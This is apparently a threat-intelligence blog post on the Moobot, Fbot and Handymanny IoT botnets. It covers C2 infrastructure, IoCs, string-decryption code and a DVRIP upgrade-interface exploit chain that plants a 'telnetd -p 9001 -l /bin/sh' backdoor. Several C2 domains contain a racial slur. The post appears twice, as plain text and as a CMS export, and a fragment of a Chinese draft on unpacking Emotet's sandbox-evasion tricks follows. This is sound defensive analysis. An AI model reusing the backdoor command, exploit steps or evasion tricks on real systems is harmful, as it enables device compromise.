MD5: 527572a2a28807766569c0870558e807
Downloader: http://185.244[.25.219/bins/armv7l
CC: typicalniggerdayatthecoolaidparty.n1gger.com TXT 31.13.195.56
Moobot no proxy version. CC IP same as moobot.go CC ip，Downloader ip on 185.244.25.219/24 netblock.
Moobot port scanning and exploit
Port scan
At present, the moobot uses the mirai scanning mechanism to scan the entire internet, the scan result is reported to the Loader, and then the loader implants sample to the victims.Based on our ScanMon, there are roughly 60K infected IPs in the last 7 days.
It is worth mentioning that the current moobot scans many ports, including DVRIP/ADB/HTTP/TELNET related ports, but a single Bot sample does not scan all ports at the same time, instead, multiple bots perform scan together and then piece the results together. We don’t exactly know the reason behind this behavior. The most recent moobot mainly scans the following ports:
* DVRIP/34567
* HTTP/80, 81, 82, 83, 84, 85, 88, 1588, 5984, 8000, 8080, 8081, 8181, 8888, 9090, 9200, 60001[1]。For the HTTP service, the Bot looks up the HTTP server shown in the following figure and then reports it to the Loader for subsequent implantation of the sample.
* ADB/5555
* TELNET/23
Scanning source geographical distribution:
7913 Brazil
5749 China
5305 Viet Nam
4514 Thailand
4510 Uruguay
3685 Italy
3070 Russian Federation
2440 Argentina
2410 Turkey
2073 Malaysia
2068 Republic of Korea
1783 India
1594 Germany
1554 United States
1433 Iran
1132 Mexico
1062 Spain
967 United Kingdom
946 Morocco
937 Greece
798 Indonesia
782 Venezuela
774 Pakistan
758 Romania
632 Japan
577 Chile
497 Poland
477 Qatar
472 South Africa
456 Israel
455 Dominican
417 Ukraine
415 Colombia
407 Egypt
376 Hungary
370 Tunisia
322 France
295 Kazakhstan
279 Saudi Arabia
273 Australia
271 Singapore
244 Bulgaria
232 United Arab Emirates
185 Canada
136 Jordan
120 Oman
114 Serbia
112 Portugal
101 Puerto Rico
Exploit
There is nothing new about HTTP, ADB, and TELNET being exploited by Moobot so there is no need to cover them here. But DVRIP( port 34567) is different. Early We discovered and published that Fbot was the first to exploit this vulnerability, but we did not elaborate on how the vulnerability was exploited at the time. Basically the moobot uses the DVRIP upgrade interface to upload an upgrade file, executes the shell command in the upgrade file to set the stage for the backdoor, and then implants malicious samples through the backdoor. The process is as follows:
*
Construct a DVRIP upgrade configuration compressed file called InstallDesc. The main content is as follows. It can be seen that the configuration is mainly for the telnetd -p 9001 -l /bin/sh opening of the backdoor, where the backdoor port is TCP/9001:
*
Login to the target device using the DVRIP default password.
*
Upload the upgrade file InstallDesc to the target device through the DVRIP upgrade interface.
*
The DVRIP service performs the upgrade process, executes the shell command in the upgrade configuration file, and opens the backdoor.
*
Loader implants a Bot sample through the backdoor
Moobot related attack events
We observed that the moobot attacked many popular sites/critical services. Including DNS root servers, Twitter, Facebook, Pornhub, Wikimedia, Twitch, World of Warcraft classic server, Google, Baidu, Alibaba, Krebs on Security, etc. The SLDs corresponding to some moobot targets are shown below:
Moobot encryption
Moobot uses an encryption method similar to fbot code table replacement, string reverse order, no XOR, and the decryption code is as follows (related samples 0f8c6a64bac73e83eef94b3ec333c93a):
tab1_enc = '''
AA AB AC AD AE AF BA BB BC BD BE BF CA CB CC CD CE
CF DA DB DC DE DF EA EB EC ED EF FA FB FC FD FE FF
A1 A2 A3 A4 A5 A6 A7 A8 A9 B1 B2 B3 B4 B5 B6 B7 B8
B9 C1 C2 C3 C4 C5 C6 C7 C8 C9 D1 D2 D3 D4 D5 D6 D7
D8 D9 E1 E2 E3 E4 E5 E6 E7 E8 E9 F1 F2 F3 F4 F5 F6
'''.replace(' ', '').replace('\n','').decode('hex')
tab2_enc = '''
7A 37 75 4E 42 63 33 20 61 32 4C 54 23 76 4A 48 38
49 25 62 46 77 6B 68 2F 22 73 3B 55 24 65 53 3A 44
5A 43 6A 45 6D 59 78 57 70 74 7C 6F 3E 26 66 64 2D
35 47 39 71 52 4D 40 7E 34 51 30 79 58 6C 67 41 4B
50 36 69 31 56 72 4F 5C 29 5D 2E 28 5B 6E 7B 7D 2C
'''.replace(' ', '').replace('\n','').decode('hex')
def decode(indata):
res = ''
for i in indata:
res += chr(ord(i)^0x00)
return res
tab1 = decode(tab1_enc)
tab2 = decode(tab2_enc)
def getK(c):
for i in range(0, len(tab1)):
if c == tab1[i]:
return i
return -1
def decrypt(pointer):
res = ""
for v12 in pointer:
res += tab2[getK(v12)]
return res
Decryption example:
slogan='''
B3 B3 A5 BB ED D2 BC ED BB DE B3 AF BB FC EA BF
'''.replace(' ', '').replace('\n','').decode('hex')
c2_addr='''
A5 B3 AF E9 E4 FC D5 D5 E2 F3 E9 D2 B1 E4 BC A9
B7 E1 BC D4 B3 B3 AF FC EA B1 B1 BC D2 BC B7 E4
FC D5 D5 E1 F3 D4 BC AF E1 A9 D2 B1
'''.replace(' ', '').replace('\n','').decode('hex')
print (decrypt(slogan)[::-1])
#The cow says moo
print (decrypt(c2_addr)[::-1])
#typicalniggerdayatthecoolaidparty.n1gger.com
Fbot
Fbot and moobot.go.tor use the same Downloader 89.248.174.219, similar encryption method, and both use DNS TXT for C2 domain names. We think it is highly likely fbot and moobot are related organizations. Related fbot samples:
First seen: 2019-08-15 06:35:15
MD5: beab327053b17556e80338efdf0b2e19
Downloader: http://89.248[.174.219:80/bins/x86
CC: ohyaya.raiseyourdongers.pw TXT 5.206.227.65
Fbot encryption
The fbot’s encryption method is code table replacement, XOR encryption, and the decryption code is as follows:
tab1_enc = '''
14 15 0A 1D 1F 08 0E 00 01 17 1A 03 0B 09 16
12 1E 10 0C 0D 18 1B 0F 11 1C 13 2D 3F 28 36
34 38 3C 3A 31 35 20 37 2C 3D 2E 2F 33 2B 21
30 3E 32 23 2A 3B 29 6E 61 60 69 6B 6C 6D 68 6F 6A 64 19 07 7D
'''.replace(' ', '').replace('\n','').decode('hex')
tab2_enc = '''
18 1B 1A 1D 1C 1F 1E 11 10 13 12 15 14 17 16
09 08 0B 0A 0D 0C 0F 0E 01 00 03 38 3B 3A 3D
3C 3F 3E 31 30 33 32 35 34 37 36 29 28 2B 2A
2D 2C 2F 2E 21 20 23 69 68 6B 6A 6D 6C 6F 6E 61 60 77 76 79 74
'''.replace(' ', '').replace('\n','').decode('hex')
def decode(indata):
res = ''
for i in indata:
res += chr(ord(i)^0x59)
return res
tab1 = decode(tab1_enc)
tab2 = decode(tab2_enc)
def getK(c):
for i in range(0, len(tab1)):
if c == tab1[i]:
return i
return -1
def decrypt(pointer):
res = ""
for v12 in pointer:
res += tab2[getK(v12)]
return res
Decryption example:
c2="wcbtbt=rthxmbwgrowdemrx=vz"
print decrypt(c2)
#ohyaya.raiseyourdongers.pw
If you want to know more about fbot, you can read our previous blogs.[1][2]
Handymanny
Handymanny is another botnet we discovered, which is imilar to other botnets such as brickbot and Silex. It destroys the target device system and prevents the target device from working properly.
The bot sample is implanted by the Loader via telnet, and the Loader IP is 185.244.25.200, which means that the handymanny and 185.244.25.200/24 segments are also related.
Related sample:
First seen: 2019-09-08 20:03:11
MD5: 1fcfcb14304c586f12dc410546a3a5b7
Downloader: http://185.112[.82.89:80/bins/arm.handymanny
Loader IP: 185.244.25.200
CC: 185.112.82.89:123
The function related to destroying the target system is shown in the following figure:
Contact us
Readers are always welcomed to reach us on Twitter, WeChat 360Netlab or email to netlab at 360 dot cn.
IoC
Moobot
MD5:
40507d0675bee829311f1f67622dded9
70f1df04d4384422ba746a92940c0138
eebca17df98350fa127fef978a5cccde
79351b97ad07f77d336e38afcb213868
c15fe4dc2f063b135d2bb83c35d75289
168d0af614dc8513579d8436c930db76
527572a2a28807766569c0870558e807
0f8c6a64bac73e83eef94b3ec333c93a
CC:
31.13.195.56
audi.n1gger.com
botnetisharam.com
dbkjbueuvmf5hh7z.onion
n1gger.com
nd3rwzslqhxibkl7.onion
sisuugde7gzpef2d.onion
typicalniggerdayatthecoolaidparty.n1gger.com
URL:
http://89.248[.174.198/main/x86
http://93.174[.93.191:80/accn/kuojin.x86
http://185.100[.84.187:80/t/t.arm7
http://91.92[.66.192/rt/mips
http://91.92[.66.192/bins/x86
http://89.248[.174.219/moo/x86
http://185.244[.25.219/bins/armv7l
Fbot
MD5:
beab327053b17556e80338efdf0b2e19
CC:
ohyaya.raiseyourdongers.pw
URL:
http://89.248[.174.219:80/bins/x86
Handymanny
MD5:
1fcfcb14304c586f12dc410546a3a5b7
453ac5c036c000827e291a5a58500f47
48032f646f6d14f946ab389a6b13000c
60f3cf7c5c0152d99cde53df7fb4e349
6a084828f8e33b3d6257667b938c5ae9
6e37aac9706d8f98172ff533ce6d660c
7309c3bb936c36bb53f065300f901cd4
7b7c455340a216e1e83b361080104980
7e472aae22796128f4c314e68a294d30
8c8bb10919266e6bd437de76e42e97dd
a17465a1232e2b3e18bb7a0a1cf4333d
a1f7f4fa878ab96f649f885a8769bb2b
a460e1ce45003d63d5f864eae38622ba
a8d02b5451c020f16f7a2b80a5491bb2
c4c608be28017a633d37607dae4975ab
ceb810beae3be334e2e598c94f264c09
d1d9b19cd6f287801d7063f7cddd0d50
ddf54946d4ab87fd12d61b758cd0f0a1
e4d954a693a2191afd360bd9e201182a
e8070d7e00c4b86dd2f929712d670c17
CC:
185.112.82.89
Loader IP:
185.244.25.200
URL:
http://185.112[.82.89:80/bins/arm.handymanny
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"\nIn the past few years, we have seen quite a few botnets on the 185.244.25.0/24 netblock, how many? Readers can take a look at the following tag cloud, which represents the keywords used in some of the samples using IPs within this netblock as loader IPs. \n<a href=\"__GHOST_URL__/content/images/2019/09/g185.branch.png\" target=\"_blank\"><img src=\"__GHOST_URL__/content/images/2019/09/g185.branch.min.png\" /></a>\n\nAnd the table below shows some of our attack statistics about this netblock in last 365 days.\n\n| Count of CC (host:port)| Count of attack target host | Count of downloader IP | Count of loader IP |\n| ----------- | --------------------------- | ------------------- | ---------- |\n| 416 | 36933 | 166 | 181 |\n\nIn this blog, we will talk about a few interesting ones, including moobot, fbot, handymanny\n\n\n# Moobot\nMoobot is a new botnet family based on mirai. In recently it has made quite many releases, according to their C2 protocols and programming languages, we can roughly divide them into moobot.socks5, moobot.tor, moobot.tor.b, moobot.go, moobot.go.tor, moobot.c, etc.\n\nNot every moobot variant uses this 185 netblock, but we do notice the moobot.c sample uses 185.244.25.219 as the Downloader.\n\nHere is a quick breakdown of the different Moobot variants.\n\n> ### Moobot.socks5\n> First seen: 2019-07-15 10:10:47\n> MD5: 70f1df04d4384422ba746a92940c0138\n> Downloader: `http://89.248[.174.198/main/x86`\n> Downloader: `http://93.174[.93.191:80/accn/kuojin.x86`\n> CC: n1gger.com:23\n> Connect CC via socks5 proxy. Targeting for port TCP/34567(DVRIP) and TCP/9527.\n> \n> ### Moobot.tor\n> First seen: 2019-07-17 07:41:00\n> MD5: eebca17df98350fa127fef978a5cccde\n> Downloader: `http://185.100[.84.187:80/t/t.arm7`\n> Reporter: audi.n1gger.com:49567\n> CC: nd3rwzslqhxibkl7.onion:1356\n> Connect CC via tor proxy. Targeting for port TCP/34567(DVRIP) and TCP/9527.\n>\n> ### Moobot.tor.b\n> First seen: 2019-08-09 02:25:24\n> MD5: 79351b97ad07f77d336e38afcb213868\n> Downloader: `http://91.92[.66.192/rt/mips`\n> CC: typicalniggerdayatthecoolaidparty.n1gger.com TXT 91.92.66.192\n> CC: dbkjbueuvmf5hh7z.onion:10444\n> CC protocol modified on mirai CC protocol.\n> \n> ### Moobot.go\n> First seen: 2019-08-16 09:41:19\n> MD5: c15fe4dc2f063b135d2bb83c35d75289\n> Downloader: `http://91.92[.66.192/bins/x86`\n> CC: 31.13.195.56 port=18337\n> Moobot golang version.\n> \n> ### Moobot.go.tor \n> First seen: 2019-08-20 07:38:05\n> MD5: 168d0af614dc8513579d8436c930db76\n> Downloader: `http://89.248[.174.219/moo/x86`\n> CC: sisuugde7gzpef2d.onion:14995\n> Moobot golang version.Connect CC via tor proxy.\n> \n> ### Moobot.c\n> First seen: 2019-08-21 02:23:48\n> MD5: 527572a2a28807766569c0870558e807\n> Downloader: `http://185.244[.25.219/bins/armv7l`\n> CC: typicalniggerdayatthecoolaidparty.n1gger.com TXT 31.13.195.56 \n> Moobot no proxy version. CC IP same as moobot.go CC ip，Downloader ip on `185.244.25.219/24` netblock.\n> \n\n## Moobot port scanning and exploit\n### Port scan\n\nAt present, the moobot uses the mirai scanning mechanism to scan the entire internet, the scan result is reported to the Loader, and then the loader implants sample to the victims.Based on our [ScanMon](https://scan.netlab.360.com/#/dashboard?tsbeg=1568815200000&tsend=1569315600000&dstport=1588&toplistname=similardstport&topn=10&sortby=sum), there are roughly 60K infected IPs in the last 7 days.\n\nIt is worth mentioning that the current moobot scans many ports, including DVRIP/ADB/HTTP/TELNET related ports, but a single Bot sample does not scan all ports at the same time, instead, multiple bots perform scan together and then piece the results together. We don’t exactly know the reason behind this behavior. The most recent moobot mainly scans the following ports:\n\n- DVRIP/34567\n- HTTP/80, 81, 82, 83, 84, 85, 88, 1588, 5984, 8000, 8080, 8081, 8181, 8888, 9090, 9200, 60001[[1\\]](https://twitter.com/MasafumiNegishi/status/1175988802805846016)。For the HTTP service, the Bot looks up the HTTP server shown in the following figure and then reports it to the Loader for subsequent implantation of the sample.\n<a href=\"__GHOST_URL__/content/images/2019/09/moo_banner.png\"><img src=\"__GHOST_URL__/content/images/2019/09/moo_banner.png\" class=\"kg-image\"/></a>\n- ADB/5555\n- TELNET/23\n\nScanning source geographical distribution:\n```\n 7913 Brazil\n 5749 China\n 5305 Viet Nam\n 4514 Thailand\n 4510 Uruguay\n 3685 Italy\n 3070 Russian Federation\n 2440 Argentina\n 2410 Turkey\n 2073 Malaysia\n 2068 Republic of Korea\n 1783 India\n 1594 Germany\n 1554 United States\n 1433 Iran\n 1132 Mexico\n 1062 Spain\n 967 United Kingdom\n 946 Morocco\n 937 Greece\n 798 Indonesia\n 782 Venezuela\n 774 Pakistan\n 758 Romania\n 632 Japan\n 577 Chile\n 497 Poland\n 477 Qatar\n 472 South Africa\n 456 Israel\n 455 Dominican\n 417 Ukraine\n 415 Colombia\n 407 Egypt\n 376 Hungary\n 370 Tunisia\n 322 France\n 295 Kazakhstan\n 279 Saudi Arabia\n 273 Australia\n 271 Singapore\n 244 Bulgaria\n 232 United Arab Emirates\n 185 Canada\n 136 Jordan\n 120 Oman\n 114 Serbia\n 112 Portugal\n 101 Puerto Rico\n```\n\n### Exploit\nThere is nothing new about HTTP, ADB, and TELNET being exploited by Moobot so there is no need to cover them here. But DVRIP( port 34567) is different. Early We discovered and published that [Fbot](__GHOST_URL__/the-new-developments-of-the-fbot-en/) was the first to exploit this vulnerability, but we did not elaborate on how the vulnerability was exploited at the time. Basically the moobot uses the DVRIP upgrade interface to upload an upgrade file, executes the shell command in the upgrade file to set the stage for the backdoor, and then implants malicious samples through the backdoor. The process is as follows:\n\n- Construct a DVRIP upgrade configuration compressed file called InstallDesc. The main content is as follows. It can be seen that the configuration is mainly for the `telnetd -p 9001 -l /bin/sh` opening of the backdoor, where the backdoor port is TCP/9001:\n<a href=\"__GHOST_URL__/content/images/2019/09/moo_telnet.png\"><img src=\"__GHOST_URL__/content/images/2019/09/moo_telnet.png\" class=\"kg-image\"/></a>\n\n- Login to the target device using the DVRIP default password.\n\n\n- Upload the upgrade file InstallDesc to the target device through the DVRIP upgrade interface.\n\n\n- The DVRIP service performs the upgrade process, executes the shell command in the upgrade configuration file, and opens the backdoor.\n\n- Loader implants a Bot sample through the backdoor\n\n\n## Moobot related attack events\nWe observed that the moobot attacked many popular sites/critical services. Including DNS root servers, Twitter, Facebook, Pornhub, [Wikimedia](https://wikimediafoundation.org/news/2019/09/07/malicious-attack-on-wikipedia-what-we-know-and-what-were-doing/), [Twitch, World of Warcraft classic server](https://twitter.com/MasafumiNegishi/status/1170881367871082497), Google, Baidu, Alibaba, Krebs on Security, etc. The SLDs corresponding to some moobot targets are shown below:\n<a href=\"__GHOST_URL__/content/images/2019/09/atk.sld.png\" target=\"_blank\"><img src=\"__GHOST_URL__/content/images/2019/09/atk.sld.min-1.png\" /></a>\n\n## Moobot encryption\nMoobot uses an encryption method similar to [fbot](__GHOST_URL__/the-new-developments-of-the-fbot-en/) code table replacement, string reverse order, no XOR, and the decryption code is as follows (related samples `0f8c6a64bac73e83eef94b3ec333c93a`):\n```\ntab1_enc = '''\nAA AB AC AD AE AF BA BB BC BD BE BF CA CB CC CD CE \nCF DA DB DC DE DF EA EB EC ED EF FA FB FC FD FE FF \nA1 A2 A3 A4 A5 A6 A7 A8 A9 B1 B2 B3 B4 B5 B6 B7 B8 \nB9 C1 C2 C3 C4 C5 C6 C7 C8 C9 D1 D2 D3 D4 D5 D6 D7 \nD8 D9 E1 E2 E3 E4 E5 E6 E7 E8 E9 F1 F2 F3 F4 F5 F6\n'''.replace(' ', '').replace('\\n','').decode('hex')\n\ntab2_enc = '''\n7A 37 75 4E 42 63 33 20 61 32 4C 54 23 76 4A 48 38 \n49 25 62 46 77 6B 68 2F 22 73 3B 55 24 65 53 3A 44 \n5A 43 6A 45 6D 59 78 57 70 74 7C 6F 3E 26 66 64 2D \n35 47 39 71 52 4D 40 7E 34 51 30 79 58 6C 67 41 4B \n50 36 69 31 56 72 4F 5C 29 5D 2E 28 5B 6E 7B 7D 2C\n'''.replace(' ', '').replace('\\n','').decode('hex')\n\ndef decode(indata):\n res = ''\n for i in indata:\n res += chr(ord(i)^0x00)\n return res\ntab1 = decode(tab1_enc)\ntab2 = decode(tab2_enc)\ndef getK(c):\n for i in range(0, len(tab1)):\n if c == tab1[i]:\n return i\n return -1\n\ndef decrypt(pointer):\n res = \"\"\n for v12 in pointer:\n res += tab2[getK(v12)]\n return res\n```\n\nDecryption example:\n```\nslogan='''\nB3 B3 A5 BB ED D2 BC ED BB DE B3 AF BB FC EA BF\n'''.replace(' ', '').replace('\\n','').decode('hex')\nc2_addr='''\nA5 B3 AF E9 E4 FC D5 D5 E2 F3 E9 D2 B1 E4 BC A9 \nB7 E1 BC D4 B3 B3 AF FC EA B1 B1 BC D2 BC B7 E4 \nFC D5 D5 E1 F3 D4 BC AF E1 A9 D2 B1\n'''.replace(' ', '').replace('\\n','').decode('hex')\n\nprint (decrypt(slogan)[::-1])\n#The cow says moo\nprint (decrypt(c2_addr)[::-1])\n#typicalniggerdayatthecoolaidparty.n1gger.com\n\n```\n\n# Fbot\nFbot and moobot.go.tor use the same Downloader 89.248.174.219, similar encryption method, and both use DNS TXT for C2 domain names. We think it is highly likely fbot and moobot are related organizations. Related fbot samples:\n> First seen: 2019-08-15 06:35:15\n> MD5: beab327053b17556e80338efdf0b2e19\n> Downloader: `http://89.248[.174.219:80/bins/x86`\n> CC: ohyaya.raiseyourdongers.pw TXT 5.206.227.65\n> \n\n## Fbot encryption\nThe fbot’s encryption method is code table replacement, XOR encryption, and the decryption code is as follows:\n```\ntab1_enc = '''\n14 15 0A 1D 1F 08 0E 00 01 17 1A 03 0B 09 16 \n12 1E 10 0C 0D 18 1B 0F 11 1C 13 2D 3F 28 36 \n34 38 3C 3A 31 35 20 37 2C 3D 2E 2F 33 2B 21 \n30 3E 32 23 2A 3B 29 6E 61 60 69 6B 6C 6D 68 6F 6A 64 19 07 7D\n'''.replace(' ', '').replace('\\n','').decode('hex')\n\ntab2_enc = '''\n18 1B 1A 1D 1C 1F 1E 11 10 13 12 15 14 17 16 \n09 08 0B 0A 0D 0C 0F 0E 01 00 03 38 3B 3A 3D \n3C 3F 3E 31 30 33 32 35 34 37 36 29 28 2B 2A \n2D 2C 2F 2E 21 20 23 69 68 6B 6A 6D 6C 6F 6E 61 60 77 76 79 74\n'''.replace(' ', '').replace('\\n','').decode('hex')\n\ndef decode(indata):\n res = ''\n for i in indata:\n res += chr(ord(i)^0x59)\n return res\ntab1 = decode(tab1_enc)\ntab2 = decode(tab2_enc)\ndef getK(c):\n for i in range(0, len(tab1)):\n if c == tab1[i]:\n return i\n return -1\n\ndef decrypt(pointer):\n res = \"\"\n for v12 in pointer:\n res += tab2[getK(v12)]\n return res\n\n```\n\nDecryption example:\n```\nc2=\"wcbtbt=rthxmbwgrowdemrx=vz\"\nprint decrypt(c2)\n#ohyaya.raiseyourdongers.pw\n```\n\nIf you want to know more about fbot, you can read our previous blogs.[[1\\]](__GHOST_URL__/the-new-developments-of-the-fbot-en/)[[2\\]](__GHOST_URL__/threat-alert-a-new-worm-fbot-cleaning-adbminer-is-using-a-blockchain-based-dns-en/)\n# Handymanny\n[Handymanny](https://twitter.com/liuya0904/status/1171633662502350848) is another botnet we discovered, which is imilar to other botnets such as brickbot and Silex. It destroys the target device system and prevents the target device from working properly.\n\nThe bot sample is implanted by the Loader via telnet, and the Loader IP is 185.244.25.200, which means that the handymanny and 185.244.25.200/24 segments are also related.\n\nRelated sample:\n> First seen: 2019-09-08 20:03:11\n> MD5: 1fcfcb14304c586f12dc410546a3a5b7\n> Downloader: `http://185.112[.82.89:80/bins/arm.handymanny`\n> Loader IP: 185.244.25.200\n> CC: 185.112.82.89:123\n\nThe function related to destroying the target system is shown in the following figure:\n\n\n# Contact us\nReaders are always welcomed to reach us on [Twitter](https://twitter.com/360Netlab), WeChat 360Netlab or email to netlab at 360 dot cn.\n\n# IoC\n### Moobot\n```\nMD5:\n40507d0675bee829311f1f67622dded9\n70f1df04d4384422ba746a92940c0138\neebca17df98350fa127fef978a5cccde\n79351b97ad07f77d336e38afcb213868\nc15fe4dc2f063b135d2bb83c35d75289\n168d0af614dc8513579d8436c930db76\n527572a2a28807766569c0870558e807\n0f8c6a64bac73e83eef94b3ec333c93a\n\nCC:\n31.13.195.56\naudi.n1gger.com\nbotnetisharam.com\ndbkjbueuvmf5hh7z.onion\nn1gger.com\nnd3rwzslqhxibkl7.onion\nsisuugde7gzpef2d.onion\ntypicalniggerdayatthecoolaidparty.n1gger.com\n\nURL:\nhttp://89.248[.174.198/main/x86\nhttp://93.174[.93.191:80/accn/kuojin.x86\nhttp://185.100[.84.187:80/t/t.arm7\nhttp://91.92[.66.192/rt/mips\nhttp://91.92[.66.192/bins/x86\nhttp://89.248[.174.219/moo/x86\nhttp://185.244[.25.219/bins/armv7l\n```\n\n### Fbot\n```\nMD5:\nbeab327053b17556e80338efdf0b2e19\n\nCC:\nohyaya.raiseyourdongers.pw\n\nURL:\nhttp://89.248[.174.219:80/bins/x86\n```\n\n### Handymanny\n```\nMD5:\n1fcfcb14304c586f12dc410546a3a5b7\n453ac5c036c000827e291a5a58500f47\n48032f646f6d14f946ab389a6b13000c\n60f3cf7c5c0152d99cde53df7fb4e349\n6a084828f8e33b3d6257667b938c5ae9\n6e37aac9706d8f98172ff533ce6d660c\n7309c3bb936c36bb53f065300f901cd4\n7b7c455340a216e1e83b361080104980\n7e472aae22796128f4c314e68a294d30\n8c8bb10919266e6bd437de76e42e97dd\na17465a1232e2b3e18bb7a0a1cf4333d\na1f7f4fa878ab96f649f885a8769bb2b\na460e1ce45003d63d5f864eae38622ba\na8d02b5451c020f16f7a2b80a5491bb2\nc4c608be28017a633d37607dae4975ab\nceb810beae3be334e2e598c94f264c09\nd1d9b19cd6f287801d7063f7cddd0d50\nddf54946d4ab87fd12d61b758cd0f0a1\ne4d954a693a2191afd360bd9e201182a\ne8070d7e00c4b86dd2f929712d670c17\n\nCC:\n185.112.82.89\n\nLoader IP:\n185.244.25.200\n\nURL:\nhttp://185.112[.82.89:80/bins/arm.handymanny\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5d8c29167646030007b2577f |
post | null | 2019-10-20T17:23:11.000Z | 63873b9a8b1c1e0007f52f59 | emotet-tuo-ke-ji-iocti-qu-yi | 0 | 2019-10-20T17:27:12.000Z | public | draft | null | null | Emotet 脱壳及IOC提取（一） | <ul><li><a>加载过程</a></li><li><a>Layer1</a> <a>Tricks</a> <a>解密Layer2</a> </li><li><a>Layer2</a> <a>Tricks</a> <a>解密Payload</a> </li><li><a>自动提取IOC</a> <a>对照分析</a> <a>IOC定位及提取</a> </li></ul><h1 id="-">加载过程 </h1><h4 id="-emotet-2019_0918">示例样本:<a href="https://github.com/seth1002/tracecorn_tina/tree/master/samples/emotet/2019_0918"> ./emotet/2019_0918</a></h4><ul><li>Layer1解密Layer2和Payload代码并转入Layer2代码</li><li>Layer2加载Payload转由Payload执行。</li></ul><h1 id="layer1">Layer1 </h1><h4 id="layer1-layer2-layer2-">Layer1会做一些简单的对抗并解密Layer2，最后把控制权交给Layer2。</h4><h2 id="tricks">Tricks </h2><h3 id="--1">绕过特定用户</h3><ul><li>可能是针对某特定沙箱的用户名做对抗。当用户名第1个字符为J，第3个字符为H，第5个字符为D时直接退出。</li></ul><pre><code> GetUserNameA(char *char_name, &pcbBuffer);
if ( char_name[0] != 'J' || char_name[2] != 'H' || char_name[4] != 'D' )
result = satrt_4011D0((int)char_J);
else
result = 0;
</code></pre><h3 id="-api-">垃圾API调用</h3><ul><li>随机的API组合调用，使得基于API序列的检测方法失效</li></ul><pre><code>Unhooked function: GetDC (0x00000001)
Unhooked function: VkKeyScanW (0x00000001)
Unhooked function: IsClipboardFormatAvailable (0x00000001)
Unhooked function: GetKeyboardType (0x00000001)
Unhooked function: GetWindowContextHelpId (0x00000001)
Unhooked function: DestroyCursor (0x00000001)
Unhooked function: GetSystemPaletteUse (0x00000001)
Unhooked function: IsIconic (0x00000001)
Unhooked function: VkKeyScanA (0x00000001)
Unhooked function: CreateSolidBrush (0x00000001)
Unhooked function: IsWindowEnabled (0x00000001)
Unhooked function: GetUserNameA (0x5fffff2c, 0x5fffff98)
Unhooked function: GetStockObject (0x000011ab)
</code></pre><ul><li>在超大循环中调用API(循环次数为0x00001B2E5，十万次数量级调用)，对抗基于API序列的检测。同时也可以对抗轻量级模拟器引擎的检测。</li></ul><pre><code>00401220: 8B45FC 7 mov eax,[ebp][-4]
00401223: 83C001 add eax,1
00401226: 8945FC mov [ebp][-4],eax
00401229: 817DFCE5B20100 5 cmp d,[ebp][-4],00001B2E5
00401230: 730A jnc .00040123C --↓6
00401232: 6A00 push 0
00401234: FF15E4074300 call GetTextAlign
0040123A: EBE4 jmps .000401220 --↑7
</code></pre><h3 id="--2">检查注册表项</h3><ul><li>检测冷门的注册表键值是否存在，对抗轻量级模拟检测</li></ul><pre><code>RegOpenKeyA (hKey=0x80000000, lpSubkey=00430220:"Interface\{aa5b6a80-b834-11d0-932f-00a0c90dcaa9}", pHandle=0x004312d0) = 0 => 00401083
RegQueryValueExA (hKey=0x00000000, lpValueName=0x004312cc:"", lpReserved=0x00000000, lpValueType=0x5ffffefc, lpBuffer=5ffffe30:"IActiveScriptParseProcedure32", lpBufSize=5ffffef8:29) = 0 => 00401452
</code></pre><h2 id="-layer2">解密Layer2 </h2><h4 id="-layer2-0x0041aa8c-0x41aa88-0x14800-">加密状态的Layer2数据块在0x0041AA8C, 0x41AA88保存了数据块的长度0x14800。</h4><ul><li>第一轮解密算法中包含很多无效指令干扰分析，而算法本身非常简单。循环剔除每隔0x4B处的一个字节的数据，即下列数据中尖括号中的0x42。</li></ul><pre><code>0041AA80 00 00 00 00 00 00 00 00 [00 48 01 00] [3F 39 39 39
0041AA90 2F 39 33 34 72 66 73 65 54 64 67 66 51 31 31 31
0041AAA0 17 31 32 63 5A 64 64 72 F7 30 31 00 06 00 6D 6E
0041AAB0 F7 30 32 32 30 76 34 34 31 63 00 00 06 00 00 6E
0041AAC0 23 6A 6B 31 1F 62 31 61 E8 65 45 78 C7 FF FF FF
0041AAD0 E8 65 67 67 35 6C 65 <42> 50 F1 68 6E 74 E3 71 00
0041AAE0 00 06 6C 73 74 D4 6B 65 6E C7 FF FF FF 06 00 00
0041AAF0 00 06 00 6C 73 B2 71 63 61 9A 40 00 00 06 00 00
0041AB00 00 06 00 00 56 9F 71 74 75 67 6C 50 72 69 74 65
0041AB10 63 7A 00 00 00 53 6E 6D 61 56 56 69 65 51 4F 66
...
</code></pre><p><i> 加密状态的Layer2</i></p><ul><li>第二轮解密同样掺杂了大量无效指令，分析可以发现使用如下公式可以解密。</li></ul><pre><code>decrypted[index] = (encrypted[index]+index)^(index+6)
</code></pre><pre><code>00000000: 39 39 39 39-39 39 33 34-74 66 73 65-72 64 67 66 99999934tfserdgf
00000010: 77 47 65 74-50 72 6F 63-41 64 64 72-65 73 73 00 wGetProcAddress
00000020: 00 00 56 69-72 74 75 61-6C 41 6C 6C-6F 63 00 00 VirtualAlloc
00000030: 00 00 00 4C-6F 61 64 4C-69 62 72 61-72 79 45 78 LoadLibraryEx
00000040: 41 00 00 00-53 65 74 46-69 6C 65 50-6F 69 6E 74 A SetFilePoint
00000050: 65 72 00 00-00 6C 73 74-72 6C 65 6E-41 00 00 00 er lstrlenA
00000060: 00 00 00 00-00 00 6C 73-74 72 63 61-74 41 00 00 lstrcatA
00000070: 00 00 00 00-00 00 00 56-69 72 74 75-61 6C 50 72 VirtualPr
00000080: 6F 74 65 63-74 00 00 00-55 6E 6D 61-70 56 69 65 otect UnmapVie
00000090: 77 4F 66 46-69 6C 65 00-00 47 65 74-4D 6F 64 75 wOfFile GetModu
000000A0: 6C 65 48 61-6E 64 6C 65-41 00 57 72-69 74 65 46 leHandleA WriteF
000000B0: 69 6C 65 00-00 00 00 00-00 00 00 43-6C 6F 73 65 ile Close
000000C0: 48 61 6E 64-6C 65 00 00-00 00 00 00-56 69 72 74 Handle Virt
000000D0: 75 61 6C 46-72 65 65 00-00 00 00 00-00 47 65 74 ualFree Get
000000E0: 54 65 6D 70-50 61 74 68-41 00 00 00-00 00 43 72 TempPathA Cr
000000F0: 65 61 74 65-46 69 6C 65-41 00 00 00-00 00 00 00 eateFileA
...
